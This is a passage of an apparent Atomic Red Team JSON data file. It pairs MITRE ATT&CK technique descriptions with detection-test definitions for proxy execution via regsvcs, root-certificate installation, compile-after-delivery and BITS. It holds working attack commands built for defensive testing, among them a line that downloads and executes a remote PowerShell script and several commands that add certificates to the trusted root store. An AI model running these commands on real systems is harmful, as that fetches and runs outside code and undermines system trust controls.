- ],
- "executor": {
- "command": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /out:\"#{output_file}\" /target:library #{source_file}\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe /U #{output_file}\n",
- "cleanup_command": "del #{output_file} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Regsvcs Uninstall Method Call Test",
- "auto_generated_guid": "fd3c1c6a-02d2-4b72-82d9-71c527abb126",
- "description": "Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, \"I shouldn't really execute\" will be displayed\nalong with other information about the assembly being installed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Location of the payload",
- "type": "path",
- "default": "$Env:TEMP\\T1218.009.dll"
- },
- "source_file": {
- "description": "Location of the CSharp source_file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.009\\src\\T1218.009.cs"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "The CSharp source file must exist on disk at specified location (#{source_file})\n",
- "prereq_command": "if (Test-Path #{source_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{source_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.009/src/T1218.009.cs\" -OutFile \"#{source_file}\"\n"
- }
- ],
- "executor": {
- "command": "$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='\n$Content = [System.Convert]::FromBase64String($key)\nSet-Content $env:Temp\\key.snk -Value $Content -Encoding Byte\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /out:\"#{output_file}\" /target:library /keyfile:$env:Temp\\key.snk #{source_file}\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe #{output_file}\n",
- "cleanup_command": "Remove-Item #{output_file} -ErrorAction Ignore | Out-Null\n$parentpath = Split-Path -Path \"#{output_file}\"\nRemove-Item $parentpath\\key.snk -ErrorAction Ignore | Out-Null\nRemove-Item $parentpath\\T1218.009.tlb -ErrorAction Ignore | Out-Null\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1506": {
- "technique": {
- "x_mitre_platforms": [
- "Office 365",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Johann Rehberger"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5",
- "type": "attack-pattern",
- "created": "2019-10-08T20:08:56.205Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1506",
- "url": "https://attack.mitre.org/techniques/T1506"
- },
- {
- "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
- "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
- "source_name": "Pass The Cookie"
- },
- {
- "source_name": "Unit 42 Mac Crypto Cookies January 2019",
- "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
- "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
- }
- ],
- "modified": "2020-12-17T16:57:07.529Z",
- "name": "Web Session Cookie",
- "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Logon Credentials",
- "Multi-Factor Authentication"
- ]
- },
- "atomic_tests": []
- },
- "T1553.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matt Graeber, @mattifestation, SpecterOps",
- "Red Canary",
- "Travis Smith, Tripwire",
- "Itzik Kotler, SafeBreach"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839",
- "type": "attack-pattern",
- "created": "2020-02-21T21:05:32.844Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1553.004",
- "url": "https://attack.mitre.org/techniques/T1553/004"
- },
- {
- "external_id": "CAPEC-479",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/479.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Root_certificate",
- "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
- "source_name": "Wikipedia Root Certificate"
- },
- {
- "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
- "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
- "source_name": "Operation Emmental"
- },
- {
- "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
- "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
- "source_name": "Kaspersky Superfish"
- },
- {
- "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
- "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
- "source_name": "SpectorOps Code Signing Dec 2017"
- },
- {
- "url": "https://objective-see.com/blog/blog_0x26.html",
- "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
- "source_name": "objective-see ay mami 2018"
- },
- {
- "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck",
- "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.",
- "source_name": "Microsoft Sigcheck May 2017"
- },
- {
- "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/",
- "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.",
- "source_name": "Tripwire AppUNBlocker"
- }
- ],
- "modified": "2021-08-25T19:39:07.001Z",
- "name": "Subvert Trust Controls: Install Root Certificate",
- "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert
to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv
) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\
and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\
. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Creation",
- "Process: Process Creation",
- "Command: Command Execution",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1553.004"
- },
- "atomic_tests": [
- {
- "name": "Install root CA on Windows",
- "auto_generated_guid": "76f49d86-5eb1-461a-a032-a480f86652f1",
- "description": "Creates a root CA with Powershell\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "pfx_path": {
- "description": "Path of the certificate",
- "type": "path",
- "default": "rootCA.cer"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Verify the certificate exists. It generates if not on disk.\n",
- "prereq_command": "if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath #{pfx_path}\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) | Remove-Item\n"
- }
- ],
- "executor": {
- "command": "$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My\nMove-Item -Path $cert.PSPath -Destination \"Cert:\\LocalMachine\\Root\"\n",
- "cleanup_command": "try {\n $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n Get-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n}\ncatch { }\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Install root CA on Windows with certutil",
- "auto_generated_guid": "5fdb1a7a-a93c-4fbe-aa29-ddd9ef94ed1f",
- "description": "Creates a root CA with certutil\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "pfx_path": {
- "description": "Path of the certificate",
- "type": "path",
- "default": "$env:Temp\\rootCA2.cer"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Certificate must exist at specified location (#{pfx_path})\n",
- "prereq_command": "if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\\LocalMachine\\My\nExport-Certificate -Type CERT -Cert Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -FilePath #{pfx_path}\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) | Remove-Item\n"
- }
- ],
- "executor": {
- "command": "certutil -addstore my #{pfx_path}\n",
- "cleanup_command": "try {\n$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\\LocalMachine\\My\nGet-ChildItem Cert:\\LocalMachine\\My\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\nGet-ChildItem Cert:\\LocalMachine\\Root\\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore\n} catch { }\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Add Root Certificate to CurrentUser Certificate Store",
- "auto_generated_guid": "ca20a3f1-42b5-4e21-ad3f-1049199ec2e0",
- "description": "The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog.\nKeys will look like - \\SystemCertificates\\CA\\Certificates or \\SystemCertificates\\Root\\Certificates\nReference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \n",
- "cleanup_command": "Get-ChildItem -Path Cert:\\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item \n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1027.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian",
- "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617",
- "type": "attack-pattern",
- "created": "2020-03-16T15:30:57.711Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1027.004",
- "url": "https://attack.mitre.org/techniques/T1027/004"
- },
- {
- "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
- "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
- "source_name": "ClearSky MuddyWater Nov 2018"
- },
- {
- "source_name": "TrendMicro WindowsAppMac",
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/",
- "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019."
- }
- ],
- "modified": "2020-03-29T20:59:32.293Z",
- "name": "Obfuscated Files or Information: Compile After Delivery",
- "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Creation",
- "Command: Command Execution",
- "File: File Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Signature-based detection",
- "Host intrusion prevention systems",
- "Anti-virus",
- "Binary Analysis",
- "Static File Analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_system_requirements": [
- "Compiler software (either native to the system or delivered by the adversary)"
- ],
- "identifier": "T1027.004"
- },
- "atomic_tests": [
- {
- "name": "Compile After Delivery using csc.exe",
- "auto_generated_guid": "ffcdbd6a-b0e8-487d-927a-09127fe9a206",
- "description": "Compile C# code using csc.exe binary used by .NET\nUpon execution an exe named T1027.004.exe will be placed in the temp folder\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Output compiled binary",
- "type": "path",
- "default": "C:\\Windows\\Temp\\T1027.004.exe"
- },
- "input_file": {
- "description": "C# code that launches calc.exe from a hidden cmd.exe Window",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1027.004\\src\\calc.cs"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "C# file must exist on disk at specified location (#{input_file})\n",
- "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{input_file}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/calc.cs\" -OutFile \"#{input_file}\"\n"
- }
- ],
- "executor": {
- "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:#{output_file} #{input_file}\n",
- "cleanup_command": "del #{output_file} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Dynamic C# Compile",
- "auto_generated_guid": "453614d8-3ba6-4147-acc0-7ec4b3e1faef",
- "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process. \nCertain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.\nThe exe file that will be executed is named as T1027.004_DynamicCompile.exe is containted in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.\nUpon execution, the exe will print 'T1027.004 Dynamic Compile'.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_file": {
- "description": "exe program containing dynamically compiled C# code",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1027.004\\bin\\T1027.004_DynamicCompile.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "exe file must exist on disk at specified location (#{input_file})\n",
- "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/bin/T1027.004_DynamicCompile.exe -OutFile #{input_file}\n"
- }
- ],
- "executor": {
- "command": "Invoke-Expression #{input_file}\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1564.007": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Rick Cole, Mandiant"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b",
- "type": "attack-pattern",
- "created": "2020-09-17T12:51:40.845Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.007",
- "url": "https://attack.mitre.org/techniques/T1564/007"
- },
- {
- "source_name": "FireEye VBA stomp Feb 2020",
- "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html",
- "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020."
- },
- {
- "source_name": "Evil Clippy May 2019",
- "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/",
- "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020."
- },
- {
- "source_name": "Microsoft _VBA_PROJECT Stream",
- "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239",
- "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020."
- },
- {
- "source_name": "Walmart Roberts Oct 2018",
- "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278",
- "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020."
- },
- {
- "source_name": "pcodedmp Bontchev",
- "url": "https://github.com/bontchev/pcodedmp",
- "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020."
- },
- {
- "source_name": "oletools toolkit",
- "url": "https://github.com/decalage2/oletools",
- "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020."
- }
- ],
- "modified": "2021-10-15T14:02:07.944Z",
- "name": "VBA Stomping",
- "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache
that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT
stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT
stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\n\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT
stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT
stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Script: Script Execution",
- "File: File Metadata"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_system_requirements": [
- "MS Office version specified in _VBA_PROJECT
stream must match host"
- ]
- },
- "atomic_tests": []
- },
- "T1197": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Brent Murphy, Elastic",
- "David French, Elastic",
- "Ricardo Dias",
- "Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1197",
- "url": "https://attack.mitre.org/techniques/T1197"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
- "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
- "source_name": "Microsoft COM"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
- "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
- "source_name": "Microsoft BITS"
- },
- {
- "url": "https://msdn.microsoft.com/library/aa362813.aspx",
- "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.",
- "source_name": "Microsoft BITSAdmin"
- },
- {
- "url": "https://www.secureworks.com/blog/malware-lingers-with-bits",
- "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.",
- "source_name": "CTU BITS Malware June 2016"
- },
- {
- "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/",
- "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
- "source_name": "Mondok Windows PiggyBack BITS May 2007"
- },
- {
- "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update",
- "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
- "source_name": "Symantec BITS May 2007"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
- "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
- "source_name": "PaloAlto UBoatRAT Nov 2017"
- },
- {
- "url": "https://technet.microsoft.com/library/dd939934.aspx",
- "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.",
- "source_name": "Microsoft Issues with BITS July 2011"
- },
- {
- "source_name": "Elastic - Hunting for Persistence Part 1",
- "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1",
